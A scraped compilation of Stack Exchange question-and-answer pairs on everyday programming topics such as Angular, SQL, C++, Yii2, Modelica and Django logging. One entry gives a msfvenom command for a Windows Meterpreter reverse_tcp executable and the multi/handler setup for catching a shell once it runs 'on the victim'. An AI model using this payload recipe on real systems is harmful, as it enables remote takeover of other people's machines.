问:
Angular select does not populate options
I am trying to learn nodejs. I have a simple application where I have defined an array options in app.component.ts

```<code>import { Component } from '@angular/core';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent {
  title = 'app';
  options = ["Option1", "Option2"];
}
</code>```

and I am trying to expose the options as dropdown app.component.html

```<code><div style="text-align:center">
  <h1>
    {{options}}!
    <select name="repeatSelect" id="repeatSelect" ng-model="app-root">
      <option ng-repeat="option in options" value="{{option}}">{{option}}</option>
    </select>
  </h1>
</code>```

For some reason the selectbox is not getting populated. If I print the options I can clearly see that it print fine.
Here is the screenshot

答:
Try</p>

```<code><div style="text-align:center">
  <h1>
    <select name="repeatSelect" id="repeatSelect" >
      <option *ngFor="let option of options;" value="{{option}}">{{option}}</option>
    </select>
  </h1>
</code>```

Body:
I am trying to learn nodejs. I have a simple application where I have defined an array options in app.component.ts

import { Component } from '@angular/core';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent {
  title = 'app';
  options = ["Option1", "Option2"];
}

and I am trying to expose the options as dropdown app.component.html

    {{options}}!
    <select name="repeatSelect" id="repeatSelect" ng-model="app-root">
      <option ng-repeat="option in options" value="{{option}}">{{option}}</option>
    </select>

For some reason the selectbox is not getting populated. If I print the options I can clearly see that it print fine.
Here is the screenshot

Body:
Try

<div style="text-align:center">
  <h1>
    <select name="repeatSelect" id="repeatSelect" >
      <option *ngFor="let option of options;" value="{{option}}">{{option}}</option>
    </select>
  </h1>


来源: stackexchange

问:
symbolicating iPad app crash reports
Here, i am bit new to iPad developement and to objective-c. I am facing a problem here reading device logs. when i browsed through logs, people said that i have build and archive and use that build to the device. so that next time when you connected the device to your machine, device logs will automatically symbolicate the crash logs. But this is not the case.

The steps i am following right now.

put the xcode configuration device and release.

Build -> Build and archive.

Go to Build folder, drag and drop the binary file on Itunes icon and select replace.

after the testing, re-connect the ipad, go to organizer window, select the device, click on device logs.

This shows the symbols only...not any clue of where it is crashed.

eg:the crash report

```<code>Thread 0 Crashed:
0   libSystem.B.dylib               0x30d7c2d4 __kill + 8
1   libSystem.B.dylib               0x30d7c2c4 kill + 4
2   libSystem.B.dylib               0x30d7c2b6 raise + 10
3   libSystem.B.dylib               0x30d90d72 abort + 50
4   libSystem.B.dylib               0x30d7e980 __assert_rtn + 152
5   libgcc_s.1.dylib                0x307e8b4e _Unwind_SjLj_Resume + 26
6   CoreFoundation                  0x35801d50 CFRunLoopRunSpecific + 432
7   CoreFoundation                  0x35801b88 CFRunLoopRunInMode + 52
8   GraphicsServices                0x320c84a4 GSEventRunModal + 108
9   GraphicsServices                0x320c8550 GSEventRun + 56
10  UIKit                           0x341dc322 -[UIApplication _run] + 406
11  UIKit                           0x341d9e8c UIApplicationMain + 664
12  My EF                           0x00002c84 main (main.m:14)
13  My EF                           0x00002c4c start + 32
</code>```

Please let me know if i am doing something wrong.

thanks
suresh

答:
I'm seeing this too.

My best guess is that an exception was thrown and was caught in frame #5 or #6. Then something went terribly wrong when it tried to reconstruct the original stack trace and abort() was called.

If this is the case, the real stack trace was lost, and you'll probably have to reproduce the problem in a debugger to see the real stack trace.

ContentLicense: CC BY-SA 2.5

Title: symbolicating iPad app crash reports

Body:
Here, i am bit new to iPad developement and to objective-c. I am facing a problem here reading device logs. when i browsed through logs, people said that i have build and archive and use that build to the device. so that next time when you connected the device to your machine, device logs will automatically symbolicate the crash logs. But this is not the case.

The steps i am following right now.

put the xcode configuration device and release.

Build -> Build and archive.

Go to Build folder, drag and drop the binary file on Itunes icon and select replace.

after the testing, re-connect the ipad, go to organizer window, select the device, click on device logs.

This shows the symbols only...not any clue of where it is crashed.

eg:the crash report

Thread 0 Crashed:
0   libSystem.B.dylib               0x30d7c2d4 __kill + 8
1   libSystem.B.dylib               0x30d7c2c4 kill + 4
2   libSystem.B.dylib               0x30d7c2b6 raise + 10
3   libSystem.B.dylib               0x30d90d72 abort + 50
4   libSystem.B.dylib               0x30d7e980 __assert_rtn + 152
5   libgcc_s.1.dylib                0x307e8b4e _Unwind_SjLj_Resume + 26
6   CoreFoundation                  0x35801d50 CFRunLoopRunSpecific + 432
7   CoreFoundation                  0x35801b88 CFRunLoopRunInMode + 52
8   GraphicsServices                0x320c84a4 GSEventRunModal + 108
9   GraphicsServices                0x320c8550 GSEventRun + 56
10  UIKit                           0x341dc322 -[UIApplication _run] + 406
11  UIKit                           0x341d9e8c UIApplicationMain + 664
12  My EF                           0x00002c84 main (main.m:14)
13  My EF                           0x00002c4c start + 32

Please let me know if i am doing something wrong.

thanks
suresh


问:
I have array of pointers of methods my class, but I cannot call my method. Code are below
```<code>#include <iostream>
#include <stdio.h>
#include <stdint.h>
/* run this program using the console pauser or add your own getch, system("pause") or input loop */

class FooBar{
public:
        typedef void(FooBar::*OnDio)(void);

    void OnDio0Irq( void ){
        printf("dio0\n");
    };
    void OnDio1Irq( void ){
        printf("dio1\n");
    };
    FooBar(){
        OnDio  dioArray[] = {&OnDio0Irq, &OnDio1Irq};

    };

    OnDio  *dioArray[2];
private:

};

int main(int argc, char* argv[]){
        typedef void(FooBar::*OnDio)(void);
        void (FooBar::*foo)(void);
    OnDio *myPtr;
    FooBar *fb = new FooBar();

    myPtr = *(&fb->dioArray[0]);
    foo = (OnDio &)(myPtr[0]);
    (foo)();//me need call fb->dioArray[0]()
    (*myPtr)(); // ?
 }
</code>```

How can I call a function from an array?
In my code i have error:

[Error] must use '.' or '->' to call pointer-to-member function in 'foo
(...)', e.g. '(... ->* foo) (...)'

[Error] must use '.' or '->' to call pointer-to-member function in
'* myPtr (...)', e.g. '(... ->* * myPtr) (...)'

答:
```<code>#include <iostream>
#include <stdio.h>
#include <stdint.h>

class FooBar {
public:
    typedef void(FooBar::*OnDio)(void);
    OnDio dioArray[2];
    void OnDio0Irq(void) {
        printf("dio0\n");
    };
    void OnDio1Irq(void) {
        printf("dio1\n");
    };
    FooBar() {
        dioArray[0] = &FooBar::OnDio0Irq;
        dioArray[1] = &FooBar::OnDio1Irq;
    };

private:

};

int main(int argc, char* argv[]) {

    FooBar* fb  = new FooBar();
    for (int i = 0; i < sizeof(fb->dioArray) / sizeof(fb->dioArray[0]); i++)
    {
        (fb->*fb->dioArray[i])();
    }

}
</code>```

ContentLicense: CC BY-SA 3.0

Body:
#include <iostream>
#include <stdio.h>
#include <stdint.h>
/* run this program using the console pauser or add your own getch, system("pause") or input loop */

class FooBar{
public:
        typedef void(FooBar::*OnDio)(void);

    void OnDio0Irq( void ){
        printf("dio0\n");
    };
    void OnDio1Irq( void ){
        printf("dio1\n");
    };
    FooBar(){
        OnDio  dioArray[] = {&OnDio0Irq, &OnDio1Irq};

    };

    OnDio  *dioArray[2];
private:

};

int main(int argc, char* argv[]){
        typedef void(FooBar::*OnDio)(void);
        void (FooBar::*foo)(void);
    OnDio *myPtr;
    FooBar *fb = new FooBar();

    myPtr = *(&fb->dioArray[0]);
    foo = (OnDio &)(myPtr[0]);
    (foo)();//me need call fb->dioArray[0]()
    (*myPtr)(); // ?
 }

How can I call a function from an array?
In my code i have error:

[Error] must use '.' or '->' to call pointer-to-member function in 'foo
(...)', e.g. '(... ->* foo) (...)'

[Error] must use '.' or '->' to call pointer-to-member function in
'* myPtr (...)', e.g. '(... ->* * myPtr) (...)'


问:
Query for exact match of a string in SQL
I want to query for the exact match of a string from a database table.

When I write the query as

```<code>select description from tproduct where description like '%diamond%'
</code>```

it runs and gives the results as a wild card query. For example, I got ringdiamond, diamondmaster, etc.

But I want to get only "diamond".

For this I did as:

```<code>select description from tproduct where description = 'diamond'
</code>```

But it is giving an error:

Error: Unknown column 'diamond' in 'where clause'

The description column contains:

```<code>This bracelet is composed of round diamond surrounded by milgrain detailing. Its secure setting prevents it from twisting and ensures it will sit impeccably on her wrist.

This stylish design is the perfect accessory for the day or evening. Akoya cultured pearls are lined up by a string of bezel-set round diamond.
</code>```

答:
For SQL Server:
Description

    SELECT description FROM tproduct WHERE description ='diamond' COLLATE SQL_Latin1_General_CP1_CS_AS

Body:
I want to query for the exact match of a string from a database table.

When I write the query as

select description from tproduct where description like '%diamond%'

it runs and gives the results as a wild card query. For example, I got ringdiamond, diamondmaster, etc.

But I want to get only "diamond".

For this I did as:

select description from tproduct where description = 'diamond'

But it is giving an error:

Error: Unknown column 'diamond' in 'where clause'

The description column contains:

This bracelet is composed of round diamond surrounded by milgrain detailing. Its secure setting prevents it from twisting and ensures it will sit impeccably on her wrist.

This stylish design is the perfect accessory for the day or evening. Akoya cultured pearls are lined up by a string of bezel-set round diamond.


问:
msfvenom how to generate windows console executable
Regular msfvenom would generate a PE32 executable (GUI), does anyone know how to generate a PE32 executable (CONSOLE) binary?

e.g.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe -o shellmet.exe

would generate a PE32 executable (GUI).

what if I want a PE32 executable (CONSOLE) executable?

答:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port -f exe -o shellmet.exe

Now, we will use multi/handler, which is a stub that handles exploits launched outside of the framework.

use exploit/multi/handler

When using the exploit/multi/handler module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated.

set payload windows/shell/reverse_tcp
set LHOST as ip
set LPORT as port

Now that we have everything set up and ready to go, we run exploit for the multi/handler and execute our generated executable on the victim. The multi/handler handles the exploit for us and presents us our shell.

Hope it helps!


问:
Does SQL Server deferred name resolution work for functions?
SQL Server has Deferred Name Resolution feature, read here for details:
https://msdn.microsoft.com/en-us/library/ms190686(v=sql.105).aspx

In that page, all it's talking is stored procedure so it seems Deferred Name Resolution only works for stored procedures and not for functions and I did some testing.

```<code>create or alter function f2(@i int)
returns table
as
    return (select fff from xxx)
go
</code>```

Note the table xxx does not exist. When I execute the above CREATE statement, I got the following message:

Msg 208, Level 16, State 1, Procedure f2, Line 4 [Batch Start Line 22]

  Invalid object name 'xxx'.

It seems that SQL Server instantly found the non-existent table xxx and it proved Deferred Name Resolution doesn't work for functions. However when I slightly change it as follows:

```<code>create or alter function f1(@i int)
returns int
as
begin
    declare @x int;
    select @x = fff from xxx;
    return @x
end
go
</code>```

I can successfully execute it:

```<code>Commands completed successfully.
</code>```

When executing the following statement:

```<code>select dbo.f1(3)
</code>```

I got this error:

Msg 208, Level 16, State 1, Line 34

  Invalid object name 'xxx'.

So here it seems the resolution of the table xxx was deferred. The most important differences between these two cases is the return type. However I can't explain when Deferred Name Resolution will work for functions and when not. Can anyone help me to understand this? Thanks in advance.

答:
What you have in your first example is an inline function (it does not have BEGIN/END).

Inline functions can only be table-valued.

If you used a multi-statement table-valued function for you first example, like this:

```<code>CREATE OR ALTER FUNCTION
        fn_test(@a INT)
RETURNS @ret TABLE
        (
        a INT
        )
AS
BEGIN
        INSERT
        INTO    @ret
        SELECT  a
        FROM    xxx
        RETURN
END
</code>```

, it would compile alright and fail at runtime (if xxx would not exist), same as a stored procedure or a scalar UDF would.

So yes, DNR does work for all multi-statement functions (those with BEGIN/END), regardless of their return type.

Body:
SQL Server has Deferred Name Resolution feature, read here for details:
https://msdn.microsoft.com/en-us/library/ms190686(v=sql.105).aspx

In that page, all it's talking is stored procedure so it seems Deferred Name Resolution only works for stored procedures and not for functions and I did some testing.

create or alter function f2(@i int)
returns table
as
    return (select fff from xxx)
go

Note the table xxx does not exist. When I execute the above CREATE statement, I got the following message:

Msg 208, Level 16, State 1, Procedure f2, Line 4 [Batch Start Line 22]

  Invalid object name 'xxx'.

It seems that SQL Server instantly found the non-existent table xxx and it proved Deferred Name Resolution doesn't work for functions. However when I slightly change it as follows:

create or alter function f1(@i int)
returns int
as
begin
    declare @x int;
    select @x = fff from xxx;
    return @x
end
go

I can successfully execute it:

Commands completed successfully.

When executing the following statement:

select dbo.f1(3)

I got this error:

Msg 208, Level 16, State 1, Line 34

  Invalid object name 'xxx'.

So here it seems the resolution of the table xxx was deferred. The most important differences between these two cases is the return type. However I can't explain when Deferred Name Resolution will work for functions and when not. Can anyone help me to understand this? Thanks in advance.

Body:
What you have in your first example is an inline function (it does not have BEGIN/END).

Inline functions can only be table-valued.

If you used a multi-statement table-valued function for you first example, like this:

CREATE OR ALTER FUNCTION
        fn_test(@a INT)
RETURNS @ret TABLE
        (
        a INT
        )
AS
BEGIN
        INSERT
        INTO    @ret
        SELECT  a
        FROM    xxx
        RETURN
END

, it would compile alright and fail at runtime (if xxx would not exist), same as a stored procedure or a scalar UDF would.

So yes, DNR does work for all multi-statement functions (those with BEGIN/END), regardless of their return type.


问:
Ruby strange quoting
sorry for bad English. Why Ruby quoting so strange? Or may be this is a bug?

```<code>irb(main):027:0> p eval "\"    \+     \\+    \\\+     \\\\+    \\\\\+    \""
</code>```

produces

```<code>=> "    +     +    +     \\+    \\+    "
</code>```

or

```<code>irb(main):027:0> puts eval "\"    \+     \\+    \\\+     \\\\+    \\\\\+    \""
</code>```

produces

```<code>=> +     +    +     \+    \+
</code>```

or another example

```<code>irb(main):067:0> "  \"  " =~ Regexp.new(eval("\"  \\\"  \""))
=> 0

irb(main):068:0> "  +  " =~ Regexp.new(eval("\"  \\\\+  \""))
=> 0
</code>```

答:
ruby escaping is perfectly good,

eval = evaluate/execute the string

Title: Ruby strange quoting

Body:
sorry for bad English. Why Ruby quoting so strange? Or may be this is a bug?

irb(main):027:0> p eval "\"    \+     \\+    \\\+     \\\\+    \\\\\+    \""

produces

=> "    +     +    +     \\+    \\+    "

or

irb(main):027:0> puts eval "\"    \+     \\+    \\\+     \\\\+    \\\\\+    \""

produces

=> +     +    +     \+    \+

or another example

irb(main):067:0> "  \"  " =~ Regexp.new(eval("\"  \\\"  \""))
=> 0

irb(main):068:0> "  +  " =~ Regexp.new(eval("\"  \\\\+  \""))
=> 0


问:
Dual port RAM best practices?
I have a setup with an FPGA acting as a dual ported RAM shared between a PC and a micro controller. There are fpga semaphores that protect the ram from simultaneous access so I can avoid reading data in the middle of an update. So far, I’ve been using a byte buffer with a fixed order that I am reading into some structs to pass data in each direction, updated at 100 Hz. This has worked well.

I will be expanding the size of the ram window between the two processors, and would like to be able to pass large files between them. Is there a standard set of techniques for using dual ported ram this way?

答:
If you have a FPGA implement a FIFO for each direction of communication between the two. This would mean file sizes and synchronization is no longer a hardware related problem. When your struct or file is packed have a DMA or Interrupt handler transfer it over and visa versa. This will make you code simpler and more reliable.

If there is high rate data that will be blocked by a large file transfer you will need a high and a low priority FIFO.

Title: Dual port RAM best practices?

ContentLicense: CC BY-SA 4.0


问:
How to show ajax response into bootstrap modal
I want to pop up a modal which will show dynamic data comes from query. so when a user clicked related school will show into modal. I got the response but i'm not getting how can i show into that modal. any suggestion please?

Button:

```<code> <a href="#." data-toggle="modal" data-target="#myModal" data-id="{{$user->id}}"  class="chooseSchoolBtn">Choose School</a>
</code>```

Ajax :

```<code>$(".chooseSchoolBtn").on("click", function (argument) {
    //console.log($(this).data("id"))
    var user_id = $(this).data("id")
    var info = $.get("{{url('school-list')}}", {
        id: user_id
    });
    info.done(function (data) {
        console.log(data)
    });
});
</code>```

Modal:

```<code><div class="modal-body">
    // This section will come dynamically
    <div class="col-md-2 col-sm-4 col-xs-12">
        <div class="single_school">
            <div class="selection_area">
                <span class="glyphicon glyphicon-ok" aria-hidden="true"></span>
            </div>
            <div class="school_img_area" style="background-image: url(school/images/school/school1.jpg);">
            </div>
            <div class="school_info">
                <p class="school_name">School Name</p>
                <p class="school_description">Good School...</p>
                <p class="school_price">12$</p>
            </div>
        </div>
    </div>
    // dynamic section ends
</div>
</code>```

json response :

```<code>{
    id: 1,
    user_id: 2,
    price: "2340.00",
    name: "XYZ",
    display_image: "1510570005ajaPXajmik.png"
}, {
    id: 3,
    user_id: 2,
    price: "123.00",
    name: "ABC",
    display_image: "1510570049QZWiQUh7zY.jpg"
}
</code>```

答:
```<code>$(".chooseSchoolBtn").on("click", function (argument) {
      //console.log($(this).data("id"))
      var user_id = $(this).data("id")
      var info=$.get("{{url('school-list')}}",{id:user_id});
        info.done(function(data){
              $('DIV WHERE YOU WNAT TO DISPLAY ID').html(data.id);
              // repeat same for user_id, price, so on;
      });
      });
</code>```

Body:
I want to pop up a modal which will show dynamic data comes from query. so when a user clicked related school will show into modal. I got the response but i'm not getting how can i show into that modal. any suggestion please?

Button:

 id}}"  class="chooseSchoolBtn">Choose School

Ajax :

$(".chooseSchoolBtn").on("click", function (argument) {
    //console.log($(this).data("id"))
    var user_id = $(this).data("id")
    var info = $.get("{{url('school-list')}}", {
        id: user_id
    });
    info.done(function (data) {
        console.log(data)
    });
});

Modal:

    // This section will come dynamically

School Name

Good School...

12$

    // dynamic section ends

json response :

{
    id: 1,
    user_id: 2,
    price: "2340.00",
    name: "XYZ",
    display_image: "1510570005ajaPXajmik.png"
}, {
    id: 3,
    user_id: 2,
    price: "123.00",
    name: "ABC",
    display_image: "1510570049QZWiQUh7zY.jpg"
}


问:
Yii2 Simple Ad Hoc Validation
I create a simple validation like :

```<code>public function actionMerchant() {

    $post = Yii::$app->request->post();

    $model = DynamicModel::validateData($post, [
        [['mid'], 'required'],
        [['mid'], 'integer'],
        ['email', 'email'],
    ]);

    if ($model->hasErrors()) {
        return [
            "message" => "Validation fail. Please check your input!"
        ];
    }

    return $model;
}
</code>```

From the above code, I expect if I send the post parameters for both mid and email parameters, both parameters can be validated by the DynamicModel class.

The problem I get, what if I only send email parameters without mid parameters?

I will get Getting unknown property: yii\\base\\DynamicModel::mid error message.

Does the require validation not work?

Thanks

答:
Require validation works fine. Problem is in your DynamicModel, because Yii2 is creating it object attributes from first parameter you pass (for your example thats your $_POST attributes). To make it work correctly, first define model attributes, then load values to it, and then validate.

More in DynamicModel Yii2

=== EDIT ===

```<code>$model = new DynamicModel(['mid' => null, 'email' => null]);
$model->addRule('email', 'email');
//here add more rules
$model->load($post);
$model->validate();
</code>```

Title: Yii2 Simple Ad Hoc Validation

Body:
I create a simple validation like :

public function actionMerchant() {

    $post = Yii::$app->request->post();

    $model = DynamicModel::validateData($post, [
        [['mid'], 'required'],
        [['mid'], 'integer'],
        ['email', 'email'],
    ]);

    if ($model->hasErrors()) {
        return [
            "message" => "Validation fail. Please check your input!"
        ];
    }

    return $model;
}

From the above code, I expect if I send the post parameters for both mid and email parameters, both parameters can be validated by the DynamicModel class.

The problem I get, what if I only send email parameters without mid parameters?

I will get Getting unknown property: yii\\base\\DynamicModel::mid error message.

Does the require validation not work?

Thanks

Body:
Require validation works fine. Problem is in your DynamicModel, because Yii2 is creating it object attributes from first parameter you pass (for your example thats your $_POST attributes). To make it work correctly, first define model attributes, then load values to it, and then validate.

More in DynamicModel Yii2

=== EDIT ===

$model = new DynamicModel(['mid' => null, 'email' => null]);
$model->addRule('email', 'email');
//here add more rules
$model->load($post);
$model->validate();


问:
OpenModelica solver reaches maximal number of iteration but not able to find root
I am trying to simulate a 1D system of 3 sliding bodies as I have explained here:

and here is the code I have implemented:

```<code>model friction
  //constants
  parameter Real muk = 0.2;
  parameter Real mus = 0.3;
  parameter Real m1 = 1.0;
  parameter Real m2 = 2.0;
  parameter Real m3 = 3.0;
  parameter Real Fn12 = 3.0;
  parameter Real Fn23 = 2.0;
  parameter Real absTol = 0.1;
  //variables
  Real X1, X2, X3, V1, V2, V3, A1, A2, A3, F1, F2, F3, Ff12, Ff23, Fs12, Fs23;

initial equation
  X1 = 0;
  X2 = 0;
  X3 = 0;
  V1 = 0;
  V2 = 0;
  V3 = 0;
equation
  F1 = 2 * sin(5 * time);
  F2 = 2 * sin(7 * time);
  F3 = 3 * sin(11 * time);
  V1 = der(X1);
  V2 = der(X2);
  V3 = der(X3);
  A1 = der(V1);
  A2 = der(V2);
  A3 = der(V3);
  m1 * A1 = F1 - Ff12;
  m2 * A2 = F2 + Ff12 - Ff23;
  m3 * A3 = F3 + Ff23;
  Fs12 = (m2 * F1 - m1 * (F2-Ff23)) / (m1 + m2);
  Fs23 = (m3 * (F2 + Ff12) - m2 * F3) / (m2 + m3);

  if abs(V1 - V2) < absTol and abs(Fs12) < mus * Fn12 then
    Ff12 = Fs12;
  else
    Ff12 = muk * Fn12 * sign(V1 - V2);
  end if;

  if abs(V3 - V2) < absTol and abs(Fs23) < mus * Fn23 then
    Ff23 = Fs23;
  else
    Ff23 = muk * Fn23 * sign(V2 - V3);
  end if;

end friction;
</code>```

Wolfram SystemModeler is able to run the simulation till t=6sec, but the results are not what I expect as I have explained here. And when I use OpenModelica to solve the simulation I get the error below:

C:/Users/foo/AppData/Local/Temp/OpenModelica/OMEdit/friction.exe -port=64457 -logFormat=xmltcp -override=startTime=0,stopTime=10,stepSize=0.02,tolerance=1e-6,solver=dassl,outputFormat=mat,variableFilter=.* -r=friction_res.mat -jacobian=coloredNumerical -w -lv=LOG_STATS
  Warning: maximal number of iteration reached but no root found
  Warning: maximal number of iteration reached but no root found
  Error solving nonlinear system 42 at time 0.2
  Error solving nonlinear system 42 at time 0.2
  nonlinear system 42 fails: at t=0.2
  Solving non-linear system 42 failed at time=0.2.
  For more information please use -lv LOG_NLS.
  Simulation process failed. Exited with code -1.

I would appreciate if you could help me know what is the problem and how I can solve it?

答: For dry friction modeling I can recommend https://github.com/dzimmer/ZimmersModelicaTutorial/blob/master/Tutorial2015/BaseComponents/Friction/IdealDryFriction.mo which reuses Modelica.Mechanics.Translational.Interfaces.PartialFriction in a simple and clean way.</p>

Body:
I am trying to simulate a 1D system of 3 sliding bodies as I have explained here:

and here is the code I have implemented:

model friction
  //constants
  parameter Real muk = 0.2;
  parameter Real mus = 0.3;
  parameter Real m1 = 1.0;
  parameter Real m2 = 2.0;
  parameter Real m3 = 3.0;
  parameter Real Fn12 = 3.0;
  parameter Real Fn23 = 2.0;
  parameter Real absTol = 0.1;
  //variables
  Real X1, X2, X3, V1, V2, V3, A1, A2, A3, F1, F2, F3, Ff12, Ff23, Fs12, Fs23;

initial equation
  X1 = 0;
  X2 = 0;
  X3 = 0;
  V1 = 0;
  V2 = 0;
  V3 = 0;
equation
  F1 = 2 * sin(5 * time);
  F2 = 2 * sin(7 * time);
  F3 = 3 * sin(11 * time);
  V1 = der(X1);
  V2 = der(X2);
  V3 = der(X3);
  A1 = der(V1);
  A2 = der(V2);
  A3 = der(V3);
  m1 * A1 = F1 - Ff12;
  m2 * A2 = F2 + Ff12 - Ff23;
  m3 * A3 = F3 + Ff23;
  Fs12 = (m2 * F1 - m1 * (F2-Ff23)) / (m1 + m2);
  Fs23 = (m3 * (F2 + Ff12) - m2 * F3) / (m2 + m3);

  if abs(V1 - V2) < absTol and abs(Fs12) < mus * Fn12 then
    Ff12 = Fs12;
  else
    Ff12 = muk * Fn12 * sign(V1 - V2);
  end if;

  if abs(V3 - V2) < absTol and abs(Fs23) < mus * Fn23 then
    Ff23 = Fs23;
  else
    Ff23 = muk * Fn23 * sign(V2 - V3);
  end if;

end friction;

Wolfram SystemModeler is able to run the simulation till t=6sec, but the results are not what I expect as I have explained here. And when I use OpenModelica to solve the simulation I get the error below:

C:/Users/foo/AppData/Local/Temp/OpenModelica/OMEdit/friction.exe -port=64457 -logFormat=xmltcp -override=startTime=0,stopTime=10,stepSize=0.02,tolerance=1e-6,solver=dassl,outputFormat=mat,variableFilter=.* -r=friction_res.mat -jacobian=coloredNumerical -w -lv=LOG_STATS
  Warning: maximal number of iteration reached but no root found
  Warning: maximal number of iteration reached but no root found
  Error solving nonlinear system 42 at time 0.2
  Error solving nonlinear system 42 at time 0.2
  nonlinear system 42 fails: at t=0.2
  Solving non-linear system 42 failed at time=0.2.
  For more information please use -lv LOG_NLS.
  Simulation process failed. Exited with code -1.

I would appreciate if you could help me know what is the problem and how I can solve it?


问:
How do I run a command from a network path in PowerShell/batch file
Essentially what I'm trying to run is this:

cd /d W:\RemoteMirror\ && winscp.com /ini=nul /script=Remote_Mirror_WinSCP.txt
```

<p>or this:</p>

<pre class="lang-none prettyprint-override"><code>cd /d \\fileServer\RemoteMirror\ && winscp.com /ini=nul /script=Remote_Mirror_WinSCP.txt
</code>```

Of course, with SQL Server, I can't use UNC paths. But I'm not sure how to do it otherwise. I'm not too familiar with PowerShell yet, but that'd be my best guess.

答:
UNC path cannot be a current working directory (that's a Windows limitation, it has nothing to do with SQL server).

As @lit already commented, you can temporarily allocate a drive letter for a UNC path and change working directory to it at once, using pushd command.

Alternatively, modify your WinSCP script not to rely on the current working directory.

Just use full UNC paths in the script, like:

get "/remote/path/*" "\\fileServer\RemoteMirror\"
```

<p>See also Using batch file and WinSCP to download files from the FTP server to file server (shared folder)</p>

<hr>

<p>Or, if you need to make the script working with different directories, use a parameterized script:</p>

<pre class="lang-none prettyprint-override"><code>get "/remote/path/*" "%1%\"
</code>```

And run it like:

winscp.com /ini=nul /script=Remote_Mirror_WinSCP.txt /parameter \\fileServer\RemoteMirror
```

See a full example for using parameterized scripts.

Body:
Essentially what I'm trying to run is this:

cd /d W:\RemoteMirror\ && winscp.com /ini=nul /script=Remote_Mirror_WinSCP.txt

or this:

cd /d \\fileServer\RemoteMirror\ && winscp.com /ini=nul /script=Remote_Mirror_WinSCP.txt

Of course, with SQL Server, I can't use UNC paths. But I'm not sure how to do it otherwise. I'm not too familiar with PowerShell yet, but that'd be my best guess.

Body:
UNC path cannot be a current working directory (that's a Windows limitation, it has nothing to do with SQL server).

As @lit already commented, you can temporarily allocate a drive letter for a UNC path and change working directory to it at once, using pushd command.

Alternatively, modify your WinSCP script not to rely on the current working directory.

Just use full UNC paths in the script, like:

get "/remote/path/*" "\\fileServer\RemoteMirror\"

See also Using batch file and WinSCP to download files from the FTP server to file server (shared folder)

Or, if you need to make the script working with different directories, use a parameterized script:

get "/remote/path/*" "%1%\"

And run it like:

winscp.com /ini=nul /script=Remote_Mirror_WinSCP.txt /parameter \\fileServer\RemoteMirror

See a full example for using parameterized scripts.


问:
Is writing business logic on client side a security Issue
I am using firebase as an application backend for both Android and Ios Clients. My question is, Will there be any security breach if we write business logic on the client side, and what will be the other issues while writing Business logic on the client side with respect to firebase. </p>

答:
For applications where security is a high priority, you should always assume that an attacker can compromise the code on the client, since the attacker may be able to manipulate the device any way they want.  Because of this, app developers may choose to push critical logic to Cloud Functions in order to retain security.

I gave a talk at I/O 2017 about this, but in the context of game development, where I assume that attackers may compromise game logic.  The critical game logic lives in Cloud Functions where it can't be compromised by client-side attacks.


问:
Retrieving the request object in a custom Django logging handler
I have a custom Logging handler that I want to handle all logging message levels (INFO, WARN, DEBUG, ERROR, etc.) and send that to a data analytics server. For each message, the data will include fields on the record and on the original request object.

The problem is that I have not seen the request object attached to any of the records. I found on the official documentation that only django.request messages have the request object attached to the record, but no mention of what specifically django.request messages are. (https://docs.djangoproject.com/en/1.9/topics/logging/#django-request).

What are django.request messages? How/When are they fired?
How can I reroute every logging message to have the request object on it so that my handler can attach that data that will be sent to a proxy server?

----handler----

```<code>class LogHandler(logging.Handler):
    request = None

    def __init__(self, request=None):
        logging.Handler.__init__(self)

    def parse_record_to_json(self, record):
        import json

        created = datetime.datetime.fromtimestamp(record.created)
        return {
            'timestamp': created.strftime('%m/%d/%Y %H:%M:%S'),
            'method': record.funcName,
            'level': record.levelname,
            'line': record.lineno,
            'module': record.module,
            'message': record.getMessage(),
            'path': record.pathname,
        }

    def emit(self, record):
        user_id = None
        try:
            self.request = record.request
            if self.request.user.is_authenticated():
                user_id = self.request.user.id
        except:
            print "this must not be a django.request message"
            self.request = None

        from .event import SendEvent
        json_record = self.parse_record_to_json(record)
        level = json_record.pop('level', None)

        SendEvent(key="server_log",
                    name=level,
                    request=self.request,
                    obj=json_record,
                    user=user_id)
</code>```

-----settings.py-----

```<code>LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'formatters': {
        'standard': {
            'format': '%(levelname)s  %(name)s  %(asctime)s %(filename)s:%(lineno)s] %(message)s',
        },
    },
    'handlers': {
        'console': {
            'class': 'logging.StreamHandler',
            'formatter': 'standard',
        },
        'null': {
            'level': 'DEBUG',
            'class': 'django.utils.log.NullHandler',
        },
        'splunk':{
            'class':'proj.common.handlers.LogHandler',

        }
    },
    # 'root': {
    #     'handlers': ['console', 'loghandler',],
    #     'level': 'INFO',
    #     'formatter':'standard',
    # },
    'loggers': {
        'django':{
            'handlers':['console'],
            'level':'INFO',
            'formatter':'standard',
        },
        'py.warnings':{
            'handlers': ['null',],
            'propagate': False,
        },
        'django.request':{
            'handlers':['console','loghandler'],
            'propogate':False,
        },
    }
}
</code>```

答:
To answer the “what is a django.request message”: The django.request logger is one of the Python loggers provided with Django. So, a django.request message is a log message sent to the django.request logger. As you've found, the Django documentation says:

Messages to this logger have the following extra context:

status_code: The HTTP response code associated with the request.

request: The request object that generated the logging message.

What may not be obvious is that “extra context” is provided with the logging message, and those items become attributes on the LogRecord instance.

So yes, in the LogHandler.emit method you defined, the record parameter is the LogRecord. The record.request attribute will be the HTTP request object, if the record was created on the django.request logger.

Your LogHandler will only receive messages if you direct them there, for example via the Django setting LOGGING['loggers']['django.request']['handlers'].

Body:
I have a custom Logging handler that I want to handle all logging message levels (INFO, WARN, DEBUG, ERROR, etc.) and send that to a data analytics server. For each message, the data will include fields on the record and on the original request object.

The problem is that I have not seen the request object attached to any of the records. I found on the official documentation that only django.request messages have the request object attached to the record, but no mention of what specifically django.request messages are. (https://docs.djangoproject.com/en/1.9/topics/logging/#django-request).

What are django.request messages? How/When are they fired?
How can I reroute every logging message to have the request object on it so that my handler can attach that data that will be sent to a proxy server?

----handler----

class LogHandler(logging.Handler):
    request = None

    def __init__(self, request=None):
        logging.Handler.__init__(self)

    def parse_record_to_json(self, record):
        import json

        created = datetime.datetime.fromtimestamp(record.created)
        return {
            'timestamp': created.strftime('%m/%d/%Y %H:%M:%S'),
